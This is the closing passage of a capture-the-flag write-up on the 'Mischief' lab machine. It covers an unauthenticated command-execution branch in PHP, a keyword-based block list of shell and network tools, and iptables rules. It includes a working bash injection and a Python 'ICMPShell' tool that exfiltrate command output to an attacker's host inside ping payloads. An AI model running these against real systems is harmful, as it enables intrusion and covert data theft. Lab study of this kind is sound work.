After getting a root session with any of the above methods and opening /root/root.txt
, you won’t find the flag there.
The flag is not here, get a shell to find it!
Based on the message, the VM creator assumes that I don’t have a shell yet. But I have one; so, it won’t be a big deal to find the real flag of the fully privileged root user.
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt
root.txt
ae155fad????????????????????????
That’s it: the host is under my full control.
Epilogue
RCE without authentication
It’s funny, but only after completing the task of hacking Mischief VM, I realized that it is possible to execute commands in the Command Execution Panel without authentication. Just look at the source code of the web page /var/www/html/index.php
.
<?php
session_start();
require 'database.php';
if( isset($_SESSION['user_id']) ){
...
}
...
if(isset($_POST['command'])) {
...
}
?>
As you can see, the branch if(isset($_POST['command']))
does not require authentication! In other words, I could avoid spending time on the retrieval of cookies while writing the Bash scripts. It was possible to find this out prior to PWNing the user; all I had to do was brute-force the request parameters using, for instance, wfuzz.
WAF
Now let’s see how the Command Execution Panel is filtering commands. For that purpose, I have to go to /var/www/html
and examine index.php
.
...
if(isset($_POST['command'])) {
$cmd = $_POST['command'];
if (strpos($cmd, "nc" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "bash" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "chown" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "setfacl" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "chmod" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "perl" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "find" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "locate" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "ls" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "php" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "wget" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "curl" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "dir" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "ftp" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "telnet" ) !== false){
echo "Command is not allowed.";
} else {
system("$cmd > /dev/null 2>&1");
echo "Command was executed succesfully!";
}
...
As expected, there are plenty of elseif
expressions with conditions strpos($cmd, "STRING") !== false
. The best way to bypass such filters is to use the *
symbol for command autocompletion (which is exactly what I have done). By the way, all the blocked commands can be retrieved by the following string:
nc
bash
chown
setfacl
chmod
perl
find
locate
ls
php
wget
curl
dir
ftp
telnet
In the same segment of the source code, you can find the origin of the bug affecting the output of stacked commands: if they are stacked with ;
, only the result of the last command in the chain is sent to /dev/null
.
ICMP shell
This is the most creative part of the journey. Let’s imagine that I hadn’t found a way to view command results directly in the browser (this is exactly what the author had expected). In such a situation, I would have no choice but to create an ICMP shell.
What is an ICMP shell? Remember the only legitimate command in the Command Execution Panel? (Just in case: it was ping
.) If you open its manual, you will see an interesting flag that can help to overcome the obstacles created by the author:
-p pattern
You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network.
For example,-p ff
will cause the sent packet to be filled with all ones.
The ping
command allows to send 16 arbitrary ‘diagnostic’ bytes with each ICMP request. Accordingly, if I send the results of the commands executed on the host as these bytes, I will get a shell. A simple and imperfect one, but still a shell! This is enough to identify vulnerabilities on the target machine.
Core of the shell
The following bash injection will become the core of the future shell:
{ $CMD; echo STOPSTOPSTOPSTOP; } 2>&1 | xxd -p | tr -d '\n' | fold -w 32 | while read output; do ping -c 1 -p $output {LHOST}; done
Let me explain the commands (from left to right):
- Squiggle brackets stack together outputs of the two commands: the command set by the ICMP shell operator (
$CMD
) and the stop marker record (echo STOPSTOPSTOPSTOP
; its purpose will be explained below). - The
stdout
stream is combined withstderr
to see error messages. - The result of the first two steps in the chain is sent to
xxd -p
that converts ASCII into hex. - The
tr -d
command removes ‘\n’ (new line) characters. - The
fold -w
inserts new line characters after each 32 symbols (remember,ping
can send 16 bytes in one packet). - In the
while
cycle, the organized result of the command converted into the hex format is read string-by-string (as said above, each string consists of 16 bytes),ping
is triggered, and it sends one ICMP packet with each string it has read to the target host ($LHOST
is the attacker’s machine) as ‘diagnostic bytes’.
Why do I need a stop marker? Let’s say, I want to get the output of the whoami
command. The user’s name is root
. After running the command (see below), I will see the displayed result: 726f6f740a
. It consists of only ten symbols, which is less than 32.
whoami 2>&1 | xxd -p | tr -d '\n' # displays "726f6f740a"
In that case, the fold -w 32
instruction would be useless because the output length is less than the required length; so, the while
cycle will have nothing to read (it won’t see the new line character and, accordingly, will decide that the output is empty).
Therefore, I added a stop marker with the length of 16 ASCII symbols (16 bytes, 32 hex symbols); its purpose is to ‘complete’ the program output (i.e. increase it to the required length) with the guaranteed jump to the next line. As a result, while
reads and sends even short outputs.
ICMPShell.py
To automate the process, I am going to write a Python script using the Scapy
module; it will help to implement a sniffer for ICMP packets. As an alternative, you can use the impacket
module (like in icmpsh_m.py, but I prefer Scapy
.
#!/usr/bin/env python3
## -*- coding: utf-8 -*-
## Usage: python3 ICMPShell.py <LHOST> <RHOST>
import cmd
import sys
from threading import Thread
from urllib.parse import quote_plus
import requests
from scapy.all import *
M = '\033[%s;35m' # MAGENTA
Y = '\033[%s;33m' # YELLOW
R = '\033[%s;31m' # RED
S = '\033[0m' # RESET
MARKER = 'STOP'
class ICMPSniffer(Thread):
def __init__(self, iface='tun0'):
super().__init__()
self.iface = iface
def run(self):
sniff(iface=self.iface, filter='icmp[icmptype]==8', prn=self.process_icmp)
def process_icmp(self, pkt):
buf = pkt[ICMP].load[16:32].decode('utf-8')
setmarker = set(MARKER)
if set(buf[-4:]) == setmarker and set(buf) != setmarker:
buf = buf[:buf.index(MARKER)]
print(buf, end='', flush=True)
class Terminal(cmd.Cmd):
prompt = f'{M%0}ICMPShell{S}> '
def __init__(self, LHOST, RHOST, proxies=None):
super().__init__()
if proxies:
self.proxies = {'http': proxies}
else:
self.proxies = {}
self.LHOST = LHOST
self.RHOST = RHOST
self.inject = r"""{ {cmd}; echo {MARKER}; } 2>&1 | xxd -p | tr -d '\n' | fold -w 32 | while read output; do ping -c 1 -p $output {LHOST}; done"""
def do_cmd(self, cmd):
try:
resp = requests.post(
f'http://{self.RHOST}/',
data=f'command={quote_plus(self.inject.format(cmd=cmd, MARKER=MARKER*4, LHOST=self.LHOST))}',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
proxies=self.proxies
)
if resp.status_code == 200:
if 'Command is not allowed.' in resp.text:
print(f'{Y%0}[!] Command triggers WAF filter. Try something else{S}')
except requests.exceptions.ConnectionError as e:
print(str(e))
print(f'{R%0}[-] No response from {self.RHOST}{S}')
finally:
print()
def do_EOF(self, args):
print()
return True
def emptyline(self):
pass
if __name__ == '__main__':
if len(sys.argv) < 3:
print(f'Usage: python3 {sys.argv[0]} <LHOST> <RHOST>')
sys.exit()
else:
LHOST = sys.argv[1]
RHOST = sys.argv[2]
sniffer = ICMPSniffer()
sniffer.daemon = True
sniffer.start()
terminal = Terminal(
LHOST,
RHOST,
# proxies='http://127.0.0.1:8080' # Burp
)
terminal.cmdloop()
The result of its work is shown below: tcpdump
is running in the lower panel and sniffing incoming ICMP packets.
iptables
I escalated to root and can finally review the iptables rules.
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT udp -- anywhere anywhere udp spt:snmp
ACCEPT udp -- anywhere anywhere udp dpt:snmp
DROP udp -- anywhere anywhere
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:3366
DROP tcp -- anywhere anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
ACCEPT udp -- anywhere anywhere udp dpt:snmp
ACCEPT udp -- anywhere anywhere udp spt:snmp
DROP udp -- anywhere anywhere
ACCEPT tcp -- anywhere anywhere tcp spt:ssh
ACCEPT tcp -- anywhere anywhere tcp spt:3366
DROP tcp -- anywhere anywhere
Only UDP port 161 (snmp), TCP port 22 (ssh), and TCP port 3366 are allowed for incoming and outgoing traffic. Now let’s look at the ip6tables rules.
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Everything is allowed! This explains why I managed to get an IPv6 reverse shell and could do nothing with IPv4.
“God Loki, the most cunning liar, the god of flame, mischief and deceit, the most charming of all gods in Norse mythology”